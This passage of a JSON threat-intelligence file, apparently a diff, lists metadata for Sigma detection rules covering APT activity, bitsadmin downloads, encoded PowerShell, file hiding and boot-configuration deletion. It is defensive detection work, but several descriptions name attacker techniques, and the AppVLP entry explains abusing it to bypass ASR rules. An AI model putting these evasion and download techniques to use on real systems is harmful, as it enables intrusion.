"7ba08e95-1e0b-40cd-9db5-b980555e42fd", - "value": "SOURGUM Actor Behaviours", - "meta": { - "refs": [ - "https://www.virustotal.com/gui/file/c299063e3eae8ddc15839767e83b9808fd43418dc5a1af7e4f44b97ba53fbd3d/detection", - "https://github.com/Azure/Azure-Sentinel/blob/43e9be273dca321295190bfc4902858e009d4a35/Detections/MultipleDataSources/SOURGUM_IOC.yaml", - "https://www.microsoft.com/security/blog/2021/07/15/protecting-customers-from-a-private-sector-offensive-actor-using-0-day-exploits-and-devilstongue-malware/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_sourgrum.yml" - ], - "tags": [ - "attack.t1546", - "attack.t1546.015", - "attack.persistence", - "attack.privilege_escalation" - ], - "creation_date": "2021/06/15", - "filename": "proc_creation_win_apt_sourgrum.yml", - "author": "MSTIC, FPT.EagleEye", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects renamed SysInternals tool execution with a binary named ps.exe as used by Dragonfly APT group and documented in TA17-293A report", - "uuid": "18da1007-3f26-470f-875d-f77faf1cab31", - "value": "Ps.exe Renamed SysInternals Tool", - "meta": { - "refs": [ - "https://www.us-cert.gov/ncas/alerts/TA17-293A", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta17_293a_ps.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.g0035", - "attack.t1036.003", - "car.2013-05-009" - ], - "creation_date": "2017/10/22", - "filename": "proc_creation_win_apt_ta17_293a_ps.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Renamed SysInternals tool" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects mshta loaded by wmiprvse as parent as used by TA505 malicious documents", - "uuid": "18cf6cf0-39b0-4c22-9593-e244bdc9a2d4", - "value": "TA505 Dropper Load Pattern", - "meta": { - "refs": [ - "https://twitter.com/ForensicITGuy/status/1334734244120309760", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_ta505_dropper.yml" - ], - "tags": [ - "attack.execution", - "attack.g0092", - "attack.t1106" - ], - "creation_date": "2020/12/08", - "filename": "proc_creation_win_apt_ta505_dropper.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific process characteristics of Chinese TAIDOOR RAT malware load", - "uuid": "d1aa3382-abab-446f-96ea-4de52908210b", - "value": "TAIDOOR RAT DLL Load", - "meta": { - "refs": [ - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-216a", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_taidoor.yml" - ], - "tags": [ - "attack.execution", - "attack.t1055.001" - ], - "creation_date": "2020/07/30", - "filename": "proc_creation_win_apt_taidoor.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects TropicTrooper activity, an actor who targeted high-profile organizations in the energy and food and beverage sectors in Asia", - "uuid": "8c7090c3-e0a0-4944-bd08-08c3a0cecf79", - "value": "TropicTrooper Campaign November 2018", - "meta": { - "refs": [ - "https://cloudblogs.microsoft.com/microsoftsecure/2018/11/28/windows-defender-atp-device-risk-score-exposes-new-cyberattack-drives-conditional-access-to-protect-networks/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_tropictrooper.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2019/11/12", - "filename": "proc_creation_win_apt_tropictrooper.yml", - "author": "@41thexplorer, Microsoft Defender ATP", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects automated lateral movement by Turla group", - "uuid": "c601f20d-570a-4cde-a7d6-e17f99cb8e7f", - "value": "Turla Group Lateral Movement", - "meta": { - "refs": [ - "https://securelist.com/the-epic-turla-operation/65545/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_critical.yml" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1059", - "attack.lateral_movement", - "attack.t1021.002", - "attack.discovery", - "attack.t1083", - "attack.t1135" - ], - "creation_date": "2017/11/07", - "filename": "proc_creation_win_apt_turla_commands_critical.yml", - "author": "Markus Neis", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects automated lateral movement by Turla group", - "uuid": "75925535-ca97-4e0a-a850-00b5c00779dc", - "value": "Turla Group Lateral Movement", - "meta": { - "refs": [ - "https://securelist.com/the-epic-turla-operation/65545/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_commands_medium.yml" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1059", - "attack.lateral_movement", - "attack.t1021.002", - "attack.discovery", - "attack.t1083", - "attack.t1135" - ], - "creation_date": "2017/11/07", - "filename": "proc_creation_win_apt_turla_commands_medium.yml", - "author": "Markus Neis", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects commands used by Turla group as reported by ESET in May 2020", - "uuid": "9e2e51c5-c699-4794-ba5a-29f5da40ac0c", - "value": "Turla Group Commands May 2020", - "meta": { - "refs": [ - "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_turla_comrat_may20.yml" - ], - "tags": [ - "attack.g0010", - "attack.execution", - "attack.t1059.001", - "attack.t1053.005", - "attack.t1027" - ], - "creation_date": "2020/05/26", - "filename": "proc_creation_win_apt_turla_comrat_may20.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a specific process creation patterns as seen used by UNC2452 and provided by Microsoft as Microsoft Defender ATP queries", - "uuid": "9be34ad0-b6a7-4fbd-91cf-fc7ec1047f5f", - "value": "UNC2452 Process Creation Patterns", - "meta": { - "refs": [ - "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_cmds.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001" - ], - "creation_date": "2021/01/22", - "filename": "proc_creation_win_apt_unc2452_cmds.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a specific PowerShell command line pattern used by the UNC2452 actors as mentioned in Microsoft and Symantec reports", - "uuid": "b7155193-8a81-4d8f-805d-88de864ca50c", - "value": "UNC2452 PowerShell Pattern", - "meta": { - "refs": [ - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/solarwinds-raindrop-malware", - "https://www.microsoft.com/security/blog/2020/12/18/analyzing-solorigate-the-compromised-dll-file-that-started-a-sophisticated-cyberattack-and-how-microsoft-defender-helps-protect/", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-7---create-a-process-using-wmi-query-and-an-encoded-command", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unc2452_ps.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.t1047" - ], - "creation_date": "2021/01/20", - "filename": "proc_creation_win_apt_unc2452_ps.yml", - "author": "Florian Roth", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "A sigma rule detecting an unidetefied attacker who used phishing emails to target high profile orgs on November 2018. The Actor shares some TTPs with YYTRIUM/APT29 campaign in 2016.", - "uuid": "7453575c-a747-40b9-839b-125a0aae324b", - "value": "Unidentified Attacker November 2018", - "meta": { - "refs": [ - "https://twitter.com/DrunkBinary/status/1063075530180886529", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_unidentified_nov_18.yml" - ], - "tags": [ - "attack.execution", - "attack.t1218.011" - ], - "creation_date": "2018/11/20", - "filename": "proc_creation_win_apt_unidentified_nov_18.yml", - "author": "@41thexplorer, Microsoft Defender ATP", - "level": "high", - "falsepositive": "No established falsepositives", - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific process characteristics of Winnti malware noticed in Dec/Jan 2020 in a campaign against Honk Kong universities", - "uuid": "3121461b-5aa0-4a41-b910-66d25524edbb", - "value": "Winnti Malware HK University Campaign", - "meta": { - "refs": [ - "https://www.welivesecurity.com/2020/01/31/winnti-group-targeting-universities-hong-kong/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_mal_hk_jan20.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.g0044" - ], - "creation_date": "2020/02/01", - "filename": "proc_creation_win_apt_winnti_mal_hk_jan20.yml", - "author": "Florian Roth, Markus Neis", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects specific process characteristics of Winnti Pipemon malware reported by ESET", - "uuid": "73d70463-75c9-4258-92c6-17500fe972f2", - "value": "Winnti Pipemon Characteristics", - "meta": { - "refs": [ - "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_winnti_pipemon.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1574.002", - "attack.g0044" - ], - "creation_date": "2020/07/30", - "filename": "proc_creation_win_apt_winnti_pipemon.yml", - "author": "Florian Roth, oscd.community", - "level": "critical", - "falsepositive": [ - "Legitimate setups that use similar flags" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects activity mentioned in Operation Wocao report", - "uuid": "1cfac73c-be78-4f9a-9b08-5bde0c3953ab", - "value": "Operation Wocao Activity", - "meta": { - "refs": [ - "https://www.fox-it.com/en/news/whitepapers/operation-wocao-shining-a-light-on-one-of-chinas-hidden-hacking-groups/", - "https://twitter.com/SBousseaden/status/1207671369963646976", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_wocao.yml" - ], - "tags": [ - "attack.discovery", - "attack.t1012", - "attack.defense_evasion", - "attack.t1036.004", - "attack.t1027", - "attack.execution", - "attack.t1053.005", - "attack.t1059.001" - ], - "creation_date": "2019/12/20", - "filename": "proc_creation_win_apt_wocao.yml", - "author": "Florian Roth, frack113", - "level": "high", - "falsepositive": [ - "Administrators that use checkadmin.exe tool to enumerate local administrators" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects a ZxShell start by the called and well-known function name", - "uuid": "f0b70adb-0075-43b0-9745-e82a1c608fcc", - "value": "ZxShell Malware", - "meta": { - "refs": [ - "https://www.hybrid-analysis.com/sample/5d2a4cde9fa7c2fdbf39b2e2ffd23378d0c50701a3095d1e91e3cf922d7b0b16?environmentId=100", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_apt_zxshell.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.003", - "attack.defense_evasion", - "attack.t1218.011", - "attack.s0412", - "attack.g0001" - ], - "creation_date": "2017/07/20", - "filename": "proc_creation_win_apt_zxshell.yml", - "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", - "level": "critical", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "The .SettingContent-ms file type was introduced in Windows 10 and allows a user to create \"shortcuts\" to various Windows 10 setting pages. These files are simply XML and contain paths to various Windows 10 settings binaries.", - "uuid": "24de4f3b-804c-4165-b442-5a06a2302c7e", - "value": "Arbitrary Shell Command Execution Via Settingcontent-Ms", - "meta": { - "refs": [ - "https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml" - ], - "tags": [ - "attack.t1204", - "attack.t1566.001", - "attack.execution", - "attack.initial_access" - ], - "creation_date": "2020/03/13", - "filename": "proc_creation_win_arbitrary_shell_execution_via_settingcontent.yml", - "author": "Sreeman", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects cases in which an ISO files is opend within an archiver like 7Zip or Winrar, which is a sign of phishing as threat actors put small ISO files in archives as email attachments to bypass certain filters and protective measures (mark of web)", - "uuid": "fcdf69e5-a3d3-452a-9724-26f2308bf2b1", - "value": "Phishing Pattern ISO in Archive", - "meta": { - "refs": [ - "https://twitter.com/1ZRR4H/status/1534259727059787783", - "https://app.any.run/tasks/e1fe6a62-bce8-4323-a49a-63795d9afd5d/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_archiver_iso_phishing.yml" - ], - "tags": [ - "attack.initial_access", - "attack.t1566" - ], - "creation_date": "2022/06/07", - "filename": "proc_creation_win_archiver_iso_phishing.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Legitimate cases in which archives contain ISO or IMG files and the user opens the archive and the image via clicking and not extraction" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Application Virtualization Utility is included with Microsoft Office. We are able to abuse \"AppVLP\" to execute shell commands.\nNormally, this binary is used for Application Virtualization, but we can use it as an abuse binary to circumvent the ASR file path rule folder\nor to mark a file as a system file.\n", - "uuid": "9c7e131a-0f2c-4ae0-9d43-b04f4e266d43", - "value": "Using AppVLP To Circumvent ASR File Path Rule", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_asr_bypass_via_appvlp_re.yml" - ], - "tags": [ - "attack.t1218", - "attack.defense_evasion", - "attack.execution" - ], - "creation_date": "2020/03/13", - "filename": "proc_creation_win_asr_bypass_via_appvlp_re.yml", - "author": "Sreeman", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects spawning of suspicious child processes by Atlassian Confluence server which may indicate successful exploitation of CVE-2021-26084", - "uuid": "245f92e3-c4da-45f1-9070-bc552e06db11", - "value": "Atlassian Confluence CVE-2021-26084", - "meta": { - "refs": [ - "https://nvd.nist.gov/vuln/detail/CVE-2021-26084", - "https://confluence.atlassian.com/doc/confluence-security-advisory-2021-08-25-1077906215.html", - "https://github.com/h3v0x/CVE-2021-26084_Confluence", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml" - ], - "tags": [ - "attack.initial_access", - "attack.execution", - "attack.t1190", - "attack.t1059" - ], - "creation_date": "2021/09/08", - "filename": "proc_creation_win_atlassian_confluence_cve_2021_26084_exploit.yml", - "author": "Bhabesh Raj", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of attrib.exe to hide files from users.", - "uuid": "4281cb20-2994-4580-aa63-c8b86d019934", - "value": "Hiding Files with Attrib.exe", - "meta": { - "refs": [ - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_hiding_files.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ], - "creation_date": "2019/01/16", - "filename": "proc_creation_win_attrib_hiding_files.yml", - "author": "Sami Ruohonen", - "level": "low", - "falsepositive": [ - "IgfxCUIService.exe hiding *.cui files via .bat script (attrib.exe a child of cmd.exe and igfxCUIService.exe is the parent of the cmd.exe)", - "Msiexec.exe hiding desktop.ini" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Marks a file as a system file using the attrib.exe utility", - "uuid": "bb19e94c-59ae-4c15-8c12-c563d23fe52b", - "value": "Set Windows System File with Attrib", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1564.001/T1564.001.md#atomic-test-3---create-windows-system-file-with-attrib", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/attrib", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ], - "creation_date": "2022/02/04", - "filename": "proc_creation_win_attrib_system.yml", - "author": "frack113", - "level": "low", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of attrib with \"+s\" option to set suspicious script or executable as system files to hide them from users and make them unable to delete with simple rights. The rule limit the search to specific extensions and directories to avoid FP's", - "uuid": "efec536f-72e8-4656-8960-5e85d091345b", - "value": "Set Suspicious Files as System Files Using Attrib", - "meta": { - "refs": [ - "https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4", - "https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1564.001" - ], - "creation_date": "2022/06/28", - "filename": "proc_creation_win_attrib_system_susp_paths.yml", - "author": "Nasreddine Bencherchali", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Once established within a system or network, an adversary may use automated techniques for collecting internal data.", - "uuid": "f576a613-2392-4067-9d1a-9345fb58d8d1", - "value": "Automated Collection Command Prompt", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1119/T1119.md", - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1552.001/T1552.001.md", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_automated_collection.yml" - ], - "tags": [ - "attack.collection", - "attack.t1119", - "attack.credential_access", - "attack.t1552.001" - ], - "creation_date": "2021/07/28", - "filename": "proc_creation_win_automated_collection.yml", - "author": "frack113", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects attackers using tooling with bad opsec defaults e.g. spawning a sacrificial process to inject a capability into the process without taking into account how the process is normally run, one trivial example of this is using rundll32.exe without arguments as a sacrificial process (default in CS, now highlighted by c2lint), running WerFault without arguments (Kraken - credit am0nsec), and other examples.", - "uuid": "a7c3d773-caef-227e-a7e7-c2f13c622329", - "value": "Bad Opsec Defaults Sacrificial Processes With Improper Arguments", - "meta": { - "refs": [ - "https://blog.malwarebytes.com/malwarebytes-news/2020/10/kraken-attack-abuses-wer-service/", - "https://www.cobaltstrike.com/help-opsec", - "https://twitter.com/CyberRaiju/status/1251492025678983169", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/regsvr32", - "https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/rundll32", - "https://docs.microsoft.com/en-us/dotnet/framework/tools/regasm-exe-assembly-registration-tool", - "https://docs.microsoft.com/en-us/dotnet/framework/tools/regsvcs-exe-net-services-installation-tool#feedback", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bad_opsec_sacrificial_processes.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.t1218.011" - ], - "creation_date": "2020/10/23", - "filename": "proc_creation_win_bad_opsec_sacrificial_processes.yml", - "author": "Oleg Kolesnikov @securonix invrep_de, oscd.community, Florian Roth, Christian Burkard", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects base64 encoded powershell cmdlet invocation of known suspicious cmdlets", - "uuid": "fd6e2919-3936-40c9-99db-0aa922c356f7", - "value": "Malicious Base64 Encoded Powershell Invoke Cmdlets", - "meta": { - "refs": [ - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_invoke_susp_cmdlets.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2022/05/31", - "filename": "proc_creation_win_base64_invoke_susp_cmdlets.yml", - "author": "pH-T", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects base64 encoded listing Win32_Shadowcopy", - "uuid": "47688f1b-9f51-4656-b013-3cc49a166a36", - "value": "Base64 Encoded Listing of Shadowcopy", - "meta": { - "refs": [ - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_listing_shadowcopy.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2022/03/01", - "filename": "proc_creation_win_base64_listing_shadowcopy.yml", - "author": "Christian Burkard", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects base64 encoded .NET reflective loading of Assembly", - "uuid": "62b7ccc9-23b4-471e-aa15-6da3663c4d59", - "value": "Base64 Encoded Reflective Assembly Load", - "meta": { - "refs": [ - "https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar", - "https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_base64_reflective_assembly_load.yml" - ], - "tags": [ - "attack.execution", - "attack.t1059.001", - "attack.defense_evasion", - "attack.t1027" - ], - "creation_date": "2022/03/01", - "filename": "proc_creation_win_base64_reflective_assembly_load.yml", - "author": "Christian Burkard, pH-T", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of bitsadmin downloading a file", - "uuid": "d059842b-6b9d-4ed1-b5c3-5b89143c6ede", - "value": "Bitsadmin Download", - "meta": { - "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://isc.sans.edu/diary/22264", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ], - "creation_date": "2017/03/09", - "filename": "proc_creation_win_bitsadmin_download.yml", - "author": "Michael Haag, FPT.EagleEye", - "level": "medium", - "falsepositive": [ - "Some legitimate apps use this, but limited." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of bitsadmin downloading a file from a suspicious domain", - "uuid": "8518ed3d-f7c9-4601-a26c-f361a4256a0c", - "value": "Bitsadmin Download from Suspicious Domain", - "meta": { - "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://isc.sans.edu/diary/22264", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_domain.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ], - "creation_date": "2022/06/28", - "filename": "proc_creation_win_bitsadmin_download_susp_domain.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Some legitimate apps use this, but limited." - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of bitsadmin downloading a file with a suspicious extension", - "uuid": "5b80a791-ad9b-4b75-bcc1-ad4e1e89c200", - "value": "Bitsadmin Download File with Suspicious Extension", - "meta": { - "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://isc.sans.edu/diary/22264", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ext.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ], - "creation_date": "2022/06/28", - "filename": "proc_creation_win_bitsadmin_download_susp_ext.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of bitsadmin downloading a file using an URL that contains an IP", - "uuid": "99c840f2-2012-46fd-9141-c761987550ef", - "value": "Bitsadmin Download File from IP", - "meta": { - "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://isc.sans.edu/diary/22264", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_ip.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ], - "creation_date": "2022/06/28", - "filename": "proc_creation_win_bitsadmin_download_susp_ip.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of bitsadmin downloading a file to a suspicious target folder", - "uuid": "2ddef153-167b-4e89-86b6-757a9e65dcac", - "value": "Bitsadmin Download to Suspicious Target Folder", - "meta": { - "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://isc.sans.edu/diary/22264", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_targetfolder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ], - "creation_date": "2022/06/28", - "filename": "proc_creation_win_bitsadmin_download_susp_targetfolder.yml", - "author": "Florian Roth", - "level": "high", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects usage of bitsadmin downloading a file to uncommon target folder", - "uuid": "6e30c82f-a9f8-4aab-b79c-7c12bce6f248", - "value": "Bitsadmin Download to Uncommon Target Folder", - "meta": { - "refs": [ - "https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin", - "https://isc.sans.edu/diary/22264", - "https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml" - ], - "tags": [ - "attack.defense_evasion", - "attack.persistence", - "attack.t1197", - "attack.s0190", - "attack.t1036.003" - ], - "creation_date": "2022/06/28", - "filename": "proc_creation_win_bitsadmin_download_uncommon_targetfolder.yml", - "author": "Florian Roth", - "level": "medium", - "falsepositive": [ - "Unknown" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Identifies use of the bcdedit command to delete boot configuration data. This tactic is sometimes used as by malware or an attacker as a destructive technique.", - "uuid": "1444443e-6757-43e4-9ea4-c8fc705f79a2", - "value": "Modification of Boot Configuration", - "meta": { - "refs": [ - "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1490/T1490.md", - "https://eqllib.readthedocs.io/en/latest/analytics/c4732632-9c1d-4980-9fa8-1d98c93f918e.html", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bootconf_mod.yml" - ], - "tags": [ - "attack.impact", - "attack.t1490" - ], - "creation_date": "2019/10/24", - "filename": "proc_creation_win_bootconf_mod.yml", - "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", - "level": "high", - "falsepositive": [ - "Unlikely" - ], - "logsource.category": "process_creation", - "logsource.product": "windows" - } - }, - { - "description": "Detects browsers starting with the remote debugging flags. Which is a technique often used to perform browser injection attacks", - "uuid": "b3d34dc5-2efd-4ae3-845f-8ec14921f449", - "value": "Browser Started with Remote Debugging", - "meta": { - "refs": [ - "https://yoroi.company/wp-content/uploads/2022/05/EternityGroup_report_compressed.pdf", - "https://www.mdsec.co.uk/2022/10/analysing-lastpass-part-1/", - "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_browser_remote_debugging.yml" - ], - "tags": [ - "attack.credential_access", - 